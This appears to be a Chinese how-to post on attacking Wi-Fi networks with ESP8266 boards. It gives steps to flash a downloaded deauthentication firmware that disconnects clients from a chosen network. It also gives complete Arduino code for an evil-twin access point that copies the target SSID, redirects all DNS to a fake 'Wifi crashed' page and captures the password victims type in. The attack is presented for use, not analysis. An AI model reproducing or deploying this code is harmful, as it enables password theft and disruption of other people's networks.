前言
1、使用esp8266wifi攻击+esp8266钓鱼
2、下载资源连接链接链接:https://pan.baidu.com/s/1eT-aenwt6BfG3yEMkp3mKw
提取码:w6uk
3、下载(下载工具)解压并打开ESPFlashDownloadTool.exe,点击ESP8266 DownloadTool,
4、下载1.bin ,并插上esp8266-12F
5、
COM如果没有显示端口,就下载360驱动安装一下驱动,选择完以后,点击START就进入下载
6、烧写成功以后,稍等片刻,会看到一个wifi为zhangguanzhang的ssid,密码为zhangguanzhang,连接上去,地址192.168.4.1,页面如下
选择一个wifi信号比较强的,如图我选中了yanjie,然后点击边栏攻击
点击开始,就可以,目标网络就会断线,客户连接不上。就会尝试连接相同的wifi名称我们使用充电宝作为电源。重新插上另外一块板
7、此时我们创建同SSID的wifi,下载ARDUINO IDE,安装8266板教程https://www.arduino.cn/thread-17884-1-1.html 安装好以后,点击工具,选择开发板nodemcu 1.0(ESP-12F Module) 端口选择新插入板的端口
文件》新建文件》清空代码、复制以下代码,点击✔傍边的箭头上传
代码如下
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <ESP8266WiFi.h>
//调试定义
#define DebugBegin(baud_rate) Serial.begin(baud_rate)
#define DebugPrintln(message) Serial.println(message)
#define DebugPrint(message) Serial.print(message)
#define DebugPrintF(...) Serial.printf( __VA_ARGS__ )
const byte DNS_PORT = 53;
IPAddress apIP(192, 168, 1, 1);
DNSServer dnsServer;
ESP8266WebServer webServer(80);
void web(){
String html = "";
html +="<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>";
html += "<head ><title>wifi崩溃</title></head>";
html += "<h1>Wifi 崩溃</h1>";
html += " <body><script type='text/javascript'>";
html += " var code = prompt('请输入wifi密码修复:');";
html += " window.location.href='app?a='+code;";
html += " </script>";
html += " </body>";
webServer.send(200, "text/html", html);
}
void paa(){
DebugPrintln("密码");
DebugPrintln(webServer.arg(0));
}
void setup() {
DebugBegin(115200);
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
WiFi.softAP("yanjie");//目标wifi修改成目标wifi
// 所有请求都映射到一个具体地址
dnsServer.start(DNS_PORT, "*", apIP);
// replay to all requests with same HTML
webServer.onNotFound([]() {
web();
});
webServer.on("/app",paa);
webServer.begin();
//webServer.onNotFound(paa);
}
void loop() {
dnsServer.processNextRequest();
webServer.handleClient();
}
烧写完以后,我们查看串口信息,波特率115200,正常用户就会尝试连接这个wifi,一旦连接上,就会跳转网页,
请求输入WiFi密码,我尝试输入123456
微信dadvlingd